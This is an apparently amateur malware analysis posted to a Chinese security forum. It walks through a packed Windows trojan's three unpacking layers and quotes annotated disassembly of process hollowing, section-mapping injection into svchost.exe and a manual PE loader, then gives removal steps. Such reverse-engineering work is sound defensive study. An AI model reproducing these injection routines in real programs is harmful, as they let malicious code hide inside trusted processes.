本帖最后由 guoxiaobo93 于 2016-6-26 21:38 编辑
菜鸟第一次深入分析,哪里说错了,希望各位大神指出。{:1_931:}
基本信息
样本类型:application/x-dosexec
样本文件MD5 校验值:96a8ef99b4b81642057340e400860242
样本文件SHA1 校验值:74f8bad507250d4b75026d534b625f24b74c03e7
编译器信息:COMPILER:Microsoft Visual Studio .NET 2005 -- 2008 -> Microsoft Corporation *
网络症状
病毒主要行为: 1、更改注册表启动项 2、自我复制删除 3、下载文件 ------------------------------------------------------------------------------华丽分割线------------------------------------------------------------------------------------ 知识点:PE结构、PEB 、注入方式等等 最让我感兴趣的是具体代码的分析(病毒被包了三层): 第一层:以挂起的方式启动自身,使用VirtualAllocEx、WriteProcessMemory等函数,实现对代码的注入 第二层:以挂起的方式启动svhost.exe,使用NtCreateSection、ZwMapViewOfSection、ZwUnmapViewOfSection等函数实现程序的注入功能 第三层:使用VirtualAlloc在进程空间申请一块内存空间,手动将代码复制到空间中并对其进行修复重定位操作 第四层:见到病毒源码 第一层:
通过CreateProcess创建一个傀儡进程(称之为可执行程序A),并把dwCreationFlags 设置为CREATE_SUSPENDED,然后把另一个可执行程序(称之为可执行程序B)的内容加载 到所创建的进程空间中,最终借用傀儡进程(A)的外壳来执行可执行程序B的内容。 第一步: [Asm] 纯文本查看 复制代码 .text:4F401B54 loc_4F401B54: ; CODE XREF: WinMain(x,x,x,x)+24Ej
.text:4F401B54 8B C6 mov eax, esi
.text:4F401B56 E8 A0 FA FF FF call sub_4F4015FB ; 以挂起的方式启动自身,注入代码,修改EIP执行自己的代码
.text:4F401B5B 85 C0 test eax, eax
.text:4F401B5D 75 DF jnz short loc_4F401B3E 第二步:进入call sub_4F4015FB进行分析 先使用GetModuleFielNameA获得当前进程的全路径,使用CreateProcessA以CREATE_SUSPENDED(挂起)方式创建进程 [Asm] 纯文本查看 复制代码 .text:4F401646 56 push esi
.text:4F401647 8B 77 3C mov esi, [edi+3Ch]
.text:4F40164A 03 F7 add esi, edi
.text:4F40164C 81 3E 50 45 00+ cmp dword ptr [esi], 4550h
.text:4F401652 0F 85 99 01 00+ jnz loc_4F4017F1
.text:4F401658 68 80 00 00 00 push 80h
.text:4F40165D 8D 85 14 FF FF+ lea eax, [ebp+var_EC]
.text:4F401663 50 push eax
.text:4F401664 53 push ebx
.text:4F401665 FF 15 70 BB 41+ call gxbGetModuleFielNameA
.text:4F40166B 8D 45 E4 lea eax, [ebp+var_1C.field_0.hProcess]
.text:4F40166E 50 push eax
.text:4F40166F 8D 45 94 lea eax, [ebp+var_6C]
.text:4F401672 50 push eax
.text:4F401673 53 push ebx
.text:4F401674 53 push ebx
.text:4F401675 6A 04 push 4 ; CREATE_SUSPENDED
.text:4F401677 53 push ebx
.text:4F401678 53 push ebx
.text:4F401679 53 push ebx
.text:4F40167A 53 push ebx
.text:4F40167B 8D 85 14 FF FF+ lea eax, [ebp+var_EC]
.text:4F401681 50 push eax
.text:4F401682 FF 15 5C BB 41+ call gxbGreateProcessA ; 以挂起的方式创建本进程
.text:4F401688 85 C0 test eax, eax
.text:4F40168A 75 07 jnz short PAGE_READWRITE ; flProtect 内存的初始化保护属性
.text:4F40168C 6A 07 push 7
.text:4F40168E E9 60 01 00 00 jmp loc_4F4017F3 第三步: 使用GetThreadContext获取进程上下文,其中ebx寄存器指向进程的PEB,eax寄存器的值为进程的入口点地址。 通过PEB来获取进程的基地址,如[EBX + 8] [Asm] 纯文本查看 复制代码 .text:4F40169C 53 push ebx ; lpAddress ????
.text:4F40169D FF 15 64 BB 41+ call gxbVirtualAlloc
.text:4F4016A3 50 push eax
.text:4F4016A4 C7 00 07 00 01+ mov dword ptr [eax], 10007h ; CONTEXT_FULL
.text:4F4016AA FF 75 E8 push [ebp+var_1C.field_0.hThread] ; hThread
.text:4F4016AD 89 45 DC mov [ebp+Context], eax
.text:4F4016B0 FF 15 60 BB 41+ call gxbGetThreadConext ; 获取进程上下文
.text:4F4016B6 85 C0 test eax, eax
.text:4F4016B8 0F 84 24 01 00+ jz loc_4F4017E2
.text:4F4016BE 8B 45 D8 mov eax, [ebp+var_28] ; 0x000000E8
.text:4F4016C1 3B 46 34 cmp eax, [esi+34h] ; 程序默认的加载基址
.text:4F4016C4 75 0C jnz short loc_4F4016D2 ; 通过PEB获取进程的基地址
.text:4F4016C6 50 push eax ; 取消可执行程序的映像映射
.text:4F4016C7 FF 75 E4 push [ebp+var_1C.field_0.hProcess]
.text:4F4016CA FF 15 30 BB 41+ call gxbZwUnmapViewOfSection
.text:4F4016D0 EB 1D jmp short loc_4F4016EF
.text:4F4016D2 ; ---------------------------------------------------------------------------
.text:4F4016D2
.text:4F4016D2 loc_4F4016D2: ; CODE XREF: sub_4F4015FB+C9j
.text:4F4016D2 53 push ebx ; 通过PEB获取进程的基地址
.text:4F4016D3 6A 04 push 4
.text:4F4016D5 8D 45 D8 lea eax, [ebp+var_28]
.text:4F4016D8 50 push eax
.text:4F4016D9 8B 45 DC mov eax, [ebp+Context]
.text:4F4016DC 8B 80 A4 00 00+ mov eax, [eax+0A4h]
.text:4F4016E2 83 C0 08 add eax, 8
.text:4F4016E5 50 push eax
.text:4F4016E6 FF 75 E4 push [ebp+var_1C.field_0.hProcess]
.text:4F4016E9 FF 15 58 BB 41+ call gxbReadProcessMemory 第四步: 在进程的加载基址处,申请空间 [Asm] 纯文本查看 复制代码 .text:4F4016EF loc_4F4016EF: ; CODE XREF: sub_4F4015FB+D5j
.text:4F4016EF 83 46 50 9C add dword ptr [esi+50h], 0FFFFFF9Ch
.text:4F4016F3 8B 46 50 mov eax, [esi+50h] ; SizeOfImage
.text:4F4016F6 6A 40 push 40h ; flProtect
.text:4F4016F8 68 00 30 00 00 push 3000h ; flAllocationType
.text:4F4016FD 83 C0 64 add eax, 64h
.text:4F401700 50 push eax ; dwSize
.text:4F401701 FF 76 34 push dword ptr [esi+34h] ; lpAddress 模块的加载基址
.text:4F401704 FF 75 E4 push [ebp+var_1C.field_0.hProcess] ; hProcess
.text:4F401707 FF 15 4C BB 41+ call gxbVirtualAllocEx ; 在挂起进程的加载基址处,申请空间
.text:4F40170D 83 46 50 64 add dword ptr [esi+50h], 64h
.text:4F401711 89 45 FC mov [ebp+BprocessMem], eax
.text:4F401714 8B 46 50 mov eax, [esi+50h]
.text:4F401717 39 5D FC cmp [ebp+BprocessMem], ebx
.text:4F40171A 0F 84 9D 00 00+ jz loc_4F4017BD 第五步: 根据PE结构,计算出PE头和各个节的大小。先将头放进去,在循环节,将节逐渐放入进程中。通过调用SetThreadContext来设置线程的上下文。通过调用ResumeThread来执行被挂起的进程。 [Asm] 纯文本查看 复制代码 .text:4F40177F 8B 7D DC mov edi, [ebp+Context] ; 使程序从基地址开始执行
.text:4F401782 53 push ebx
.text:4F401783 6A 04 push 4 ; 写入的个数
.text:4F401785 8D 46 34 lea eax, [esi+34h]
.text:4F401788 50 push eax ; 最后一个buffer
.text:4F401789 8B 87 A4 00 00+ mov eax, [edi+0A4h]
.text:4F40178F 83 C0 08 add eax, 8
.text:4F401792 50 push eax
.text:4F401793 FF 75 E4 push [ebp+var_1C.field_0.hProcess]
.text:4F401796 FF 15 68 BB 41+ call gxbWriteProcessMemory
.text:4F40179C 8B 46 28 mov eax, [esi+28h]
.text:4F40179F 03 45 FC add eax, [ebp+BprocessMem]
.text:4F4017A2 57 push edi
.text:4F4017A3 89 87 B0 00 00+ mov [edi+0B0h], eax
.text:4F4017A9 FF 75 E8 push [ebp+var_1C.field_0.hThread]
.text:4F4017AC FF 15 24 BB 41+ call gxbSetThreadContext
.text:4F4017B2 FF 75 E8 push [ebp+var_1C.field_0.hThread]
.text:4F4017B5 FF 15 6C BB 41+ call gxbResumeThread
.text:4F4017BB EB 20 jmp short loc_4F4017DD 第六步:提取注入代码 该病毒将代码进行了压缩和加密,执行中使用了RtlDecompressBuffer对代码进行了还原。在这里我们使用OD对注入代码进行提取: 将还原后的代码放在了local.3中,数据窗口跟随,看到了MZ PE等典型的可执行文件格式。 文件提取步骤:(有更好的提取方法,请告知 ) 1、选中数据窗口中可执行文件全部,右键二进制选择二进制复制 2、新建.txt文件。(我使用的是010eidt查看PE格式的)打开010edit选择十六进制导入。 3、文件导入成功
第二层 技术概述: 向createprocess传递一个参数CREATE_SUSPENDED使创建的svhost.exe挂起。使用NtCreateSection创建共享内存块,使用ZwMapViewOfSection对共享内存进行映射。父进程映射完毕后向其中写入需要注入的dll(不需要重定位,在svhost.exe调用ZwMapViewOfSection时,会自动进行重定位操作);随后病毒,申请一块比较大的空间,将svhost.exe整个PE结构读取到本进行中,在程序的入口地址处构造:nop ;push 地址(svhost.exe的映射地址);retn; 实现代码的跳转。使用NtCreateSection创建新的共享内存块,使用ZwMapViewOfSection映射到svhost.exe进程空间中的指定位置。 详细分析: 1、创建svhost.exe进程。使用NtCreateSection创建共享内存块,在父进程中使用ZwMapViewOfSection对共享内存进行映射 [Asm] 纯文本查看 复制代码 .text:0041201E
.text:0041201E loc_41201E: ; CODE XREF: start+132j
.text:0041201E C7 45 88 44 00+ mov dword ptr [ebp-78h], 44h ; 1、以挂起的方式创建Svhost.exe进程
.text:0041201E 00 00 ; 2、在当前进程空间中创建共享内存
.text:00412025 90 nop
.text:00412026 8D 95 14 FE FF+ lea edx, [ebp+ProcessInformation]
.text:0041202C 52 push edx ; lpProcessInformation
.text:0041202D 8D 45 88 lea eax, [ebp+StartupInfo]
.text:00412030 50 push eax ; lpStartupInfo
.text:00412031 6A 00 push 0 ; lpCurrentDirectory
.text:00412033 6A 00 push 0 ; lpEnvironment
.text:00412035 6A 04 push 4 ; dwCreationFlags
.text:00412037 6A 00 push 0 ; bInheritHandles
.text:00412039 6A 00 push 0 ; lpThreadAttributes
.text:0041203B 6A 00 push 0 ; lpProcessAttributes
.text:0041203D 68 C8 10 40 00 push offset CommandLine ; "svchost.exe"
.text:00412042 6A 00 push 0 ; lpApplicationName
.text:00412044 FF 15 30 10 40+ call CreateProcessA ; 创建挂起进程,svchost.exe
.text:0041204A 8B 8D 14 FE FF+ mov ecx, [ebp+ProcessInformation.hProcess]
.text:00412050 89 8D 40 FF FF+ mov [ebp+svchost_hProcess], ecx
.text:00412056 8B 95 18 FE FF+ mov edx, [ebp+ProcessInformation.hThread]
.text:0041205C 89 95 64 FF FF+ mov [ebp+svchost_hThread], edx
.text:00412062 6A 00 push 0
.text:00412064 6A 18 push 18h
.text:00412066 8D 45 E8 lea eax, [ebp+PROCESS_BASIC_INFORMATION]
.text:00412069 50 push eax
.text:0041206A 6A 00 push 0
.text:0041206C 8B 8D 40 FF FF+ mov ecx, [ebp+svchost_hProcess]
.text:00412072 51 push ecx
.text:00412073 FF 95 44 FF FF+ call [ebp+NtQueryInformationProcess] ; 填充PROCESS_BASIC_INFORMATION,获取进程信息
.text:00412079 89 85 3C FF FF+ mov [ebp+NTqInfoRE], eax
.text:0041207F 8B 55 EC mov edx, [ebp+PROCESS_BASIC_INFORMATION.PebBaseAddress]
.text:00412082 83 C2 08 add edx, 8
.text:00412085 89 95 00 FE FF+ mov [ebp+svchost_PImageBaseAddress], edx ; 获取程序的加载基址
.text:0041208B 8D 85 4C FF FF+ lea eax, [ebp+ReadrealLenth]
.text:00412091 50 push eax
.text:00412092 6A 04 push 4
.text:00412094 8D 8D 68 FF FF+ lea ecx, [ebp+svchost_ImageBaseAddress]
.text:0041209A 51 push ecx
.text:0041209B 8B 95 00 FE FF+ mov edx, [ebp+svchost_PImageBaseAddress]
.text:004120A1 52 push edx
.text:004120A2 8B 85 40 FF FF+ mov eax, [ebp+svchost_hProcess]
.text:004120A8 50 push eax
.text:004120A9 FF 95 2C FE FF+ call [ebp+ZwReadVirtualMemory] ; 读取Svhost.exe进程的加载基址
.text:004120AF 89 85 3C FF FF+ mov [ebp+NTqInfoRE], eax
.text:004120B5 8B 4D D4 mov ecx, [ebp+var_copySize]
.text:004120B8 89 8D 08 FE FF+ mov [ebp+FirstSum], ecx
.text:004120BE C7 85 0C FE FF+ mov [ebp+var_1F4], 0
.text:004120C8 6A 00 push 0
.text:004120CA 68 00 00 00 08 push 8000000h
.text:004120CF 6A 40 push 40h
.text:004120D1 8D 95 08 FE FF+ lea edx, [ebp+FirstSum]
.text:004120D7 52 push edx ; MaximumSize
.text:004120D8 6A 00 push 0
.text:004120DA 68 1F 00 0F 00 push 0F001Fh
.text:004120DF 8D 45 E0 lea eax, [ebp+FirstSectionHandle]
.text:004120E2 50 push eax
.text:004120E3 FF 95 5C FF FF+ call [ebp+NtCreateSection] ; 创建共享内存区
.text:004120E9 89 85 3C FF FF+ mov [ebp+NTqInfoRE], eax
.text:004120EF C7 85 70 FF FF+ mov [ebp+mapAddress], 0
.text:004120F9 8B 4D D4 mov ecx, [ebp+var_copySize]
.text:004120FC 89 8D 24 FE FF+ mov [ebp+ViewSize], ecx
.text:00412102 6A 40 push 40h
.text:00412104 6A 00 push 0
.text:00412106 6A 01 push 1
.text:00412108 8D 95 24 FE FF+ lea edx, [ebp+ViewSize]
.text:0041210E 52 push edx
.text:0041210F 6A 00 push 0
.text:00412111 6A 00 push 0
.text:00412113 6A 00 push 0
.text:00412115 8D 85 70 FF FF+ lea eax, [ebp+mapAddress]
.text:0041211B 50 push eax
.text:0041211C 6A FF push 0FFFFFFFFh
.text:0041211E 8B 4D E0 mov ecx, [ebp+FirstSectionHandle]
.text:00412121 51 push ecx
.text:00412122 FF 95 48 FF FF+ call [ebp+ZwMapViewOfSection] ; 当前进程映射共享内存
.text:00412128 89 85 3C FF FF+ mov [ebp+NTqInfoRE], eax
.text:0041212E C7 45 84 00 00+ mov [ebp+var_7C], 0
.text:00412135 EB 09 jmp short loc_412140 ; 循环118h此 第二步: 申请一块比较大的空间,将svhost.exe整个PE结构读取到本进行中,在程序的入口地址处构造:nop ;push 地址(svhost.exe的映射地址);retn; 实现代码的跳转; 注意: 1、程序的加载基址通过NtQueryInformationProcess获取,使用函数ZwReadVirtualMemory读取目标进程指定位置内容 2、获取整个PE结构的时候,先获取一部分,根据PE头,计算出全部大小,第二次全部获取。 [Asm] 纯文本查看 复制代码 text:004121A4 6A 40 push 40h ; flProtect
.text:004121A6 68 00 30 00 00 push 3000h ; flAllocationType
.text:004121AB 68 00 00 50 00 push 500000h ; dwSize
.text:004121B0 6A 00 push 0 ; lpAddress
.text:004121B2 FF 15 18 10 40+ call VirtualAlloc
.text:004121B8 89 85 74 FF FF+ mov [ebp+svhost_PE], eax
.text:004121BE 8D 85 4C FF FF+ lea eax, [ebp+ReadrealLenth]
.text:004121C4 50 push eax
.text:004121C5 68 00 10 00 00 push 1000h
.text:004121CA 8B 8D 74 FF FF+ mov ecx, [ebp+svhost_PE]
.text:004121D0 51 push ecx
.text:004121D1 8B 95 68 FF FF+ mov edx, [ebp+svchost_ImageBaseAddress]
.text:004121D7 52 push edx
.text:004121D8 8B 85 40 FF FF+ mov eax, [ebp+svchost_hProcess]
.text:004121DE 50 push eax
.text:004121DF FF 95 2C FE FF+ call [ebp+ZwReadVirtualMemory] ; 第一次读取目标进程数据
.text:004121E5 89 85 3C FF FF+ mov [ebp+NTqInfoRE], eax
.text:004121EB 8B 8D 74 FF FF+ mov ecx, [ebp+svhost_PE]
.text:004121F1 8B 95 74 FF FF+ mov edx, [ebp+svhost_PE] ; DOS
.text:004121F7 03 51 3C add edx, [ecx+3Ch]
.text:004121FA 89 95 6C FF FF+ mov [ebp+svhost_NT], edx ; NT
.text:00412200 8B 85 6C FF FF+ mov eax, [ebp+svhost_NT]
.text:00412206 8B 48 50 mov ecx, [eax+50h]
.text:00412209 89 4D D0 mov [ebp+svhost_SizeOfImage], ecx ; sizeOfImage
.text:0041220C 8B 95 6C FF FF+ mov edx, [ebp+svhost_NT]
.text:00412212 8B 42 28 mov eax, [edx+28h]
.text:00412215 89 85 28 FE FF+ mov [ebp+svhost_addressOfEntyPoint], eax ; 程序执行入口
.text:0041221B 8D 8D 4C FF FF+ lea ecx, [ebp+ReadrealLenth]
.text:00412221 51 push ecx
.text:00412222 8B 55 D0 mov edx, [ebp+svhost_SizeOfImage] ; 内存中映像总尺寸
.text:00412225 52 push edx
.text:00412226 8B 85 74 FF FF+ mov eax, [ebp+svhost_PE]
.text:0041222C 50 push eax
.text:0041222D 8B 8D 68 FF FF+ mov ecx, [ebp+svchost_ImageBaseAddress]
.text:00412233 51 push ecx
.text:00412234 8B 95 40 FF FF+ mov edx, [ebp+svchost_hProcess]
.text:0041223A 52 push edx
.text:0041223B FF 95 2C FE FF+ call [ebp+ZwReadVirtualMemory] ; 读取加载模块中的全部数据
.text:00412241 89 85 3C FF FF+ mov [ebp+NTqInfoRE], eax
.text:00412247 C7 85 60 FF FF+ mov [ebp+secondSection], 0
.text:00412251 8B 45 D0 mov eax, [ebp+svhost_SizeOfImage]
.text:00412254 89 85 08 FE FF+ mov [ebp+FirstSum], eax
.text:0041225A C7 85 0C FE FF+ mov [ebp+var_1F4], 0
.text:00412264 6A 00 push 0
.text:00412266 68 00 00 00 08 push 8000000h
.text:0041226B 6A 40 push 40h
.text:0041226D 8D 8D 08 FE FF+ lea ecx, [ebp+FirstSum] ; 映像总尺寸
.text:00412273 51 push ecx
.text:00412274 6A 00 push 0
.text:00412276 68 1F 00 0F 00 push 0F001Fh
.text:0041227B 8D 95 60 FF FF+ lea edx, [ebp+secondSection]
.text:00412281 52 push edx
.text:00412282 FF 95 5C FF FF+ call [ebp+NtCreateSection] ; 创建共享内存块
.text:00412288 89 85 3C FF FF+ mov [ebp+NTqInfoRE], eax
.text:0041228E 8B 45 D0 mov eax, [ebp+svhost_SizeOfImage]
.text:00412291 89 85 24 FE FF+ mov [ebp+ViewSize], eax
.text:00412297 C7 85 70 FF FF+ mov [ebp+mapAddress], 0
.text:004122A1 6A 40 push 40h
.text:004122A3 6A 00 push 0
.text:004122A5 6A 01 push 1
.text:004122A7 8D 8D 24 FE FF+ lea ecx, [ebp+ViewSize]
.text:004122AD 51 push ecx ; ViewSize
.text:004122AE 6A 00 push 0
.text:004122B0 6A 00 push 0
.text:004122B2 6A 00 push 0
.text:004122B4 8D 95 70 FF FF+ lea edx, [ebp+mapAddress]
.text:004122BA 52 push edx
.text:004122BB 6A FF push 0FFFFFFFFh ; ProcessHandle 当前进程内容
.text:004122BD 8B 85 60 FF FF+ mov eax, [ebp+secondSection]
.text:004122C3 50 push eax ; 共享内存模块
.text:004122C4 FF 95 48 FF FF+ call [ebp+ZwMapViewOfSection] ; 当前线程创建共享内存映射
.text:004122CA 89 85 3C FF FF+ mov [ebp+NTqInfoRE], eax
.text:004122D0 8B 8D 74 FF FF+ mov ecx, [ebp+svhost_PE]
.text:004122D6 03 8D 28 FE FF+ add ecx, [ebp+svhost_addressOfEntyPoint]
.text:004122DC C6 01 90 mov byte ptr [ecx], 90h ; nop
.text:004122DF 8B 95 74 FF FF+ mov edx, [ebp+svhost_PE]
.text:004122E5 03 95 28 FE FF+ add edx, [ebp+svhost_addressOfEntyPoint]
.text:004122EB C6 42 01 68 mov byte ptr [edx+1], 68h ; push
.text:004122EF 8B 85 74 FF FF+ mov eax, [ebp+svhost_PE]
.text:004122F5 03 85 28 FE FF+ add eax, [ebp+svhost_addressOfEntyPoint]
.text:004122FB 8B 4D D8 mov ecx, [ebp+firstMemAddress]
.text:004122FE 89 48 02 mov [eax+2], ecx ; 地址
.text:00412301 8B 95 74 FF FF+ mov edx, [ebp+svhost_PE]
.text:00412307 03 95 28 FE FF+ add edx, [ebp+svhost_addressOfEntyPoint]
.text:0041230D C6 42 06 C3 mov byte ptr [edx+6], 0C3h ; nop 第三步: 使用NtCreateSection创建新的共享内存块,使用ZwMapViewOfSection映射到svhost.exe进程空间中的指定位置。 注意:第三个参数。当为零时,映射位置交给系统,当为非零时,映射位置为指定位置。 [Asm] 纯文本查看 复制代码 text:0041235B 8B 4D D0 mov ecx, [ebp+svhost_SizeOfImage]
.text:0041235E 89 8D 24 FE FF+ mov [ebp+ViewSize], ecx
.text:00412364 8B 95 68 FF FF+ mov edx, [ebp+svchost_ImageBaseAddress]
.text:0041236A 89 95 70 FF FF+ mov [ebp+mapAddress], edx
.text:00412370 6A 40 push 40h
.text:00412372 6A 00 push 0
.text:00412374 6A 01 push 1
.text:00412376 8D 85 24 FE FF+ lea eax, [ebp+ViewSize]
.text:0041237C 50 push eax
.text:0041237D 6A 00 push 0
.text:0041237F 6A 00 push 0
.text:00412381 6A 00 push 0
.text:00412383 8D 8D 70 FF FF+ lea ecx, [ebp+mapAddress]
.text:00412389 51 push ecx ; 映射到svhost.exe指定位置
.text:0041238A 8B 95 40 FF FF+ mov edx, [ebp+svchost_hProcess]
.text:00412390 52 push edx
.text:00412391 8B 85 60 FF FF+ mov eax, [ebp+secondSection]
.text:00412397 50 push eax
.text:00412398 FF 95 48 FF FF+ call [ebp+ZwMapViewOfSection] ; 将第二块共享内存,映射到Svhost.exe空间中
.text:0041239E 89 85 3C FF FF+ mov [ebp+NTqInfoRE], eax 第四步: 注入代码提取 [Asm] 纯文本查看 复制代码 text:00412140 loc_412140: ; CODE XREF: start+255j
.text:00412140 8B 45 84 mov eax, [ebp+var_7C] ; 将"数据" 移动到"共享内存区域"中
.text:00412143 3B 45 D4 cmp eax, [ebp+var_copySize]
.text:00412146 73 17 jnb short loc_41215F ; 在svhost.exe进程空间中创建内容
.text:00412148 B9 E0 10 40 00 mov ecx, offset InjectCode ; InjectCode 注入代码位置
.text:0041214D 03 4D 84 add ecx, [ebp+var_7C]
.text:00412150 8B 95 70 FF FF+ mov edx, [ebp+mapAddress]
.text:00412156 03 55 84 add edx, [ebp+var_7C]
.text:00412159 8A 01 mov al, [ecx]
.text:0041215B 88 02 mov [edx], al
.text:0041215D EB D8 jmp short loc_41213 第三层: 技术概述: 代码开始的时候,先通过PEB中 _PEB_LDR_DATA结构获取InMemoryOrderModuleList;遍历进程空间中的模块获取kernel32.dll,通过对比导出函数名获取GetProcAddress的序号,通过序号获取地址。使用GetProcAddress获取各个函数的地址。在当前进程空间以可执行权限申请一块空间,以内存对齐的方式向空间中写入整个结构,遍历重定位表,手动对其进行重定位。通过CALL跳到虚拟空间入口地址出。 详细解释: 第一步: 代码开始的时候,先通过PEB中 _PEB_LDR_DATA结构获取InMemoryOrderModuleList....(代码较多,建议查看附件) [Asm] 纯文本查看 复制代码 .text:004010ED FC cld
.text:004010EE 33 D2 xor edx, edx
.text:004010F0 64 8B 15 30 00+ mov edx, large fs:30h ; 进程PEB
.text:004010F7 8B 52 0C mov edx, [edx+0Ch] ; _PEB_LDR_DATA
.text:004010FA 8B 52 14 mov edx, [edx+14h] ; InMemoryOrderModuleList 第二步: 在当前进程空间以可执行权限申请一块空间,以内存对齐的方式向空间中写入整个结构 [Asm] 纯文本查看 复制代码 .text:00401301 6A 40 push 40h[/align][align=left].text:00401303 68 00 10 00 00 push 1000h ; MEM_COMMIT
.text:00401303 ; 区域可以执行代码,应用程序可以读写该区域。
.text:00401308 BF 00 00 08 00 mov edi, 80000h
.text:0040130D 57 push edi
.text:0040130E 53 push ebx
.text:0040130F 89 45 F4 mov [ebp+var_DOS], eax ; eax == 00401580 此位置为注入代码
.text:00401312 FF 55 E8 call [ebp+var_base_VirtualAlloc]
.text:00401315 57 push edi ; size_t n
.text:00401316 53 push ebx ; int ch
.text:00401317 50 push eax ; void *s
.text:00401318 89 45 F8 mov [ebp+var_virtualSpace], eax
.text:0040131B FF 55 F0 call [ebp+memset_SectionSize]
.text:0040131E 8B 45 F4 mov eax, [ebp+var_DOS]
.text:00401321 8B 78 3C mov edi, [eax+3Ch]
.text:00401324 03 F8 add edi, eax ; edi == PE头
.text:00401326 0F B7 47 14 movzx eax, word ptr [edi+14h] ; SizeOfOptionHeader 扩展头大小
.text:0040132A 33 C9 xor ecx, ecx
.text:0040132C 83 C4 0C add esp, 0Ch
.text:0040132F 8D 44 38 20 lea eax, [eax+edi+20h] ; pe头地址+扩展头大小+20h == 第一个区段的virtualsize
.text:00401333 89 5D FC mov [ebp+reCount], ebx
.text:00401336 66 3B 4F 06 cmp cx, [edi+6] ; NumberOfSection
.text:0040133A 73 40 jnb short loc_40137C
.text:0040133C 89 45 F0 mov [ebp+memset_SectionSize], eax
.text:0040133F EB 03 jmp short loc_401344 ; VirtualAddress 第三步: 遍历重定位表,手动对其进行重定位。(根据地址,查看附件) [Asm] 纯文本查看 复制代码 .text:004013D2 loc_4013D2: ; CODE XREF: injection+2AEj
.text:004013D2 39 18 cmp [eax], ebx ; 重定位操作是否完毕
.text:004013D4 75 BA jnz short loc_401390
第四步:
通过CALL跳到虚拟空间入口地址出。
[Asm] 纯文本查看 复制代码 text:004014BE 0F B7 04 48 movzx eax, word ptr [eax+ecx*2]
.text:004014C2 0F B7 4D E8 movzx ecx, word ptr [ebp+var_base_VirtualAlloc]
.text:004014C6 2B C1 sub eax, ecx
.text:004014C8 8B 8D 58 FF FF+ mov ecx, [ebp+LoadLibraryA]
.text:004014CE 8B 74 81 04 mov esi, [ecx+eax*4+4]
.text:004014D2 8B 47 28 mov eax, [edi+28h] ; 程序入口地址
.text:004014D5 03 45 F8 add eax, [ebp+var_virtualSpace]
.text:004014D8 03 75 F8 add esi, [ebp+var_virtualSpace]
.text:004014DB 53 push ebx
.text:004014DC 6A 01 push 1
.text:004014DE 53 push ebx
.text:004014DF FF D0 call eax ; 改变当前EIP跳转到虚拟空间中的入口地址中
.text:004014E1 FF D6 call esi
第五步:
注入代码提取,将函数返回结果,进行运算,最后计算的出 eax == 00401580。
导出步骤:
1、 IDA 中Hex View -1 选中需要保存的PE结构(选中大小,需要自己计算得出)
2、右键选择Save to file
[Asm] 纯文本查看 复制代码 text:004012F2 E8 F1 01 00 00 call gxb_GetPE ; 33 13 54 8A 查询此字符串,获取其后面的地址
.text:004012F7 A8 0F test al, 0Fh ; 00401574
.text:004012F9 74 06 jz short loc_401301
.text:004012FB 83 E0 F0 and eax, 0FFFFFFF0h
.text:004012FE 83 C0 10 add eax, 10h
.text:00401301
.text:00401301 loc_401301: ; CODE XREF: injection+219j
.text:00401301 6A 40 push 40h
.text:00401303 68 00 10 00 00 push 1000h ; MEM_COMMIT
.text:00401303 ; 区域可以执行代码,应用程序可以读写该区域。
.text:00401308 BF 00 00 08 00 mov edi, 80000h
.text:0040130D 57 push edi
.text:0040130E 53 push ebx
.text:0040130F 89 45 F4 mov [ebp+var_DOS], eax ; eax == 00401580 此位置为注入代码
至此,整个代码的对抗结束了。剩下的就是分析病毒实体,查看导入函数的引用,就可以定位代码恶意行为。(getproaddress 函数的出现需要着重看,他可以动态导入函数) 简单解毒方案: 删除:c:\\Users\\storm\\AppData\\Local\\文件名.exe(注:文件名为随机9位字母)的文件,重启电脑。
附件内容:
附件内容为我分析整个病毒文件的IDA文件和OD临时文件(将OD临时文件放在UDD中,并将病毒文件重命名为a.exe即可使用)。
|